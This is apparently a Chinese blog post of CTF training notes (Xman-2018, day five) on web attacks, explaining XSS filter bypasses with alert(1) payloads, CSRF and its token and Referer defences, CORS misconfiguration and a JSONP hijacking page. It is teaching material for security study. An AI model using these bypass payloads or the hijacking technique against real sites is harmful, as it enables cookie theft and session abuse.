CTF-web Xman-2018 第五天 xss csrf

35 篇文章 26 订阅

xss常见套路

对于xss,实际上就是把我们提交上去的数据当做代码执行,对于这种实际上有很多种情况可以攻击,下面具体介绍一些常用的套路。

先看一些小trik

很多HTML标记中的属性都支持javascript:[code]伪协议的形式.
<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');">

如果XSS Filter仅仅把敏感的输入字符列入黑名单处理,用户可以利用空格、回车和Tab键绕过限制:

   <img src="javas       cript:alert(/xss/)" width=100>

对于普通HTML标记的属性进行过滤的可以通过编码处理来绕过,因为HTML中属性值本身支持ASCII码形式.

<imgsrc="javascript:alert('xss');"> 替换为如下形式 替换成ascii &#加ascii就表示对应的
<imgsrc="javascrip&#116&#58alert(/xss/);">
t的ascii值为116,用&#116表示  而:则用&#58
                  另外,Tab符的ASCII码为&#9、换行符的&#10、回车符的&#13可以插入到代码中任何地方.

假设用户不能依靠属性值进行跨站,可以通过事件来解决

<input type="button"value="click me" onclick="alert('click me')" />
如:<img src="#" onerror=alert(/xss/)> 读取错误 引发onerror,可以用的事件还有很多

使用with绕过点的过滤,with表示对类型的封装,作用域内可以直接访问它的.成员

var a={},a.name='张三';a.sex='女';  //常用来获取document.cookie等
with(a){  
  console.log(name);
  console.log(sex);
}

1. 闭合标签或者表达式

代码中获取我们提交的数据,但是是在表达式或者函数中等,请看例子

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

我们输入的字符串被添加到console中执行,但是我们可以特殊构造s,闭合函数,然后执行alert

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}
1");alert(1)//
<script>console.log("1");alert(1)//");</script>

1");alert(1);("
<script>console.log("1");alert(1);("");</script>

可以成功执行了。

2. 过滤" -加\

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

将数据中的“进行转义,我们可在再次添加\转义它的\,使得”逃逸

\");alert(1);//
<script>console.log("\\");alert(1);//");</script>

3.全字符转义 -闭合标签

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

将我们输入的全部识别为字符串,不会包含特殊字符,但是可以使用闭合标签的方法。

");alert(1)//
<script>console.log("\");alert(1)//");</script>  //全是字符形式的

</script><script>alert(1)</script> 
<script>console.log("</script><script>alert(1)</script> ");</script>  //报错 但是可以执行

4.html参数获取 - url编码

function escape(s) {
  var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
  console.log(url);

  var a = document.createElement('a');
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

大概的意思就是把获取的经过转义的字符串作为元素a的href

<a href='javascript:console.log(' + JSON.stringify(s) + ')'>/a>
//这里的话我们可以使用html编码的%22=" 绕过JSON.stringify
s=%22)alert(1)//
<a href="javascript:console.log("%22); alert(1)//")">/a>
//得到的如下
<a href="javascript:console.log("");alert(1)//")">/a>

CSRF 

CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:


 攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。 原理如下:攻击者只是借用了你的信息去攻击其他网站

原理:攻击者在自己的网页中构造特殊的请求,当受害者访问时会执行特殊请求,被攻击者利用了。跟xss一个类似的是,我们在其中嵌入特殊信息,用来别人访问时执行。但是有一些问题:refer参数是攻击者的refer,攻击者利用的参数等是受害者的。

 

防御:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。

验证 HTTP Referer 字段

       在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站。

在请求地址中添加 token 并验证

      CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

在 HTTP 头中自定义属性并验证

    这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

        常见的一种类型是给你一个输入框,提交信息然偶服务器后台会使用机器人访问,给出响应,一般为了减少大量的请求,会采用验证码等

http://zzm.cat/xss2/   例题1

我们看请求的响应头有

说明是不允许的跨域的,思路是写一个脚本,然后在本地用另一个脚本加载就可以访问了。

<img src= 通过

师傅给的代码
<script 
src="http://zzm.cat/xss2/reports/b7aqslen7nma6pivd21gfme670.php "></script>

 

我们看一下那个文件的内容,可以看到文件被执行了

http://zzm.cat/xss2/reports/b7aqslen7nma6pivd21gfme670.php

针对这种情况,页面有一些原生的脚本,可能是这样写的<script src="js/juery.js">

如果能在上边插入<base href=XXXXXXX>, 这个脚本就会根据这个为基址,来引入脚本 

(只有正确的nonce才能用)

(有的网站设置**refer什么的字段,可以不带refer字段进行请求)

 

CORS跨域共享

典型的特征是

当前所看到的页面是从多个不同的域中得到的,简单来说就是从不同网站得到的。然而在正常的访问中,是不会允许这样的从一个网站去获取另外一个网站的信息。就CORS而言,使用它的根本原因就是要完成资源的跨域访问,也就是如何绕过Same-origin Policy。

   Same-origin Policy是同源策略SOP,简单地说,在一个浏览器中访问的网站不能访问另一个网站中的数据,除非这两个网站具有相同的Origin,也即是拥有相同的协议、主机地址以及端口。一旦这三项数据中有一项不同,那么该资源就将被认为是从不同的Origin得来的,进而不被允许访问。

        同源策略的具体表现举例:当attacker.me试图获取victim.me下的资源,浏览器会阻止返回该资源。

当然,解决这个问题也是有意义的,例如一个网站有不同的域,却不能互相通信;其二确实不同网站之间有时也需要交互。有三种方法,

  第一个是修改文档域:

  document.domain = ‘ambergarden.com’;

同一主域的不同子域可以设置document.domain为主域来让他们同域,并且子域的协议和端口都要一致。
第二就是通过事件与处理函数来跨域:

<script src="http://blog.ambergarden.com/someData?callback=some_func"/>

最后就是我们要说的CORS,实际上就是通过一些请求和响应头来代替策略。如果我们跨域访问一个网站,响应包含如下头: 

Access-Control-Allow-Origin: http://ambergarden.com
说明允许跨域,并且不考虑策略,但是为了限制使用,分三种情况。最简单的就是普通的simple request。如果在请求的字段中包含
任何自定义请求头, 那么就是Preflighted Request。

如果更过分的包含当前网站的用户凭证,那么其就属于Requests with Credential,这是为了加强保护,防止攻击和利用的。

 

可跨域的标签

<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>

JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输。

<!-- jsonp_hijack.html -->
<script>
function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute("type","text/javascript");
  script.src = src;
  document.body.appendChild(script);
}
window.onload = function () {
  addScriptTag('http://ip.jsontest.com/?callback=ip');  //利用script实现跨域访问
}
function ip(data) {  //预设ip函数
  alert(data.ip);  //获取别人的网址
};
</script>

当这个接口没有验证Referer头的时候,就存在JSONP劫持漏洞,即在任何域下都能窃取到传输的数据。

当接口返回的是一些敏感数据时(如CSRF TOKEN,用户个人信息等),我们也可以获取这个信息。

      header("Access-Control-Allow-Origin: http://attacker.me");

而CORS跨域请求,需要对方网站事先设置一个白名单,当跨域访问时查看名单,如果包含那么就允许跨域。

此时是没有携带cookie的,如果需要支持cookie,还需要服务端配置:

     header("Access-Control-Allow-Credentials: true");

还有一种特殊情况,就是Access-Control-Allow-Origin设置成通配符”*”时,表示允许任何域名跨源。

如果再把Access-Control-Allow-Credentials设置为true,允许客户端带上cookie的话,无疑此时是非常危险的.因为攻击者很容易就能窃取到用户个人的数据。所以浏览器加上了最后一道防线,当

     header("Access-Control-Allow-Origin: *");
    header("Access-Control-Allow-Credentials: true");

这种配置出现时,浏览器会拒接呈现服务端返回的资源.。

 

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值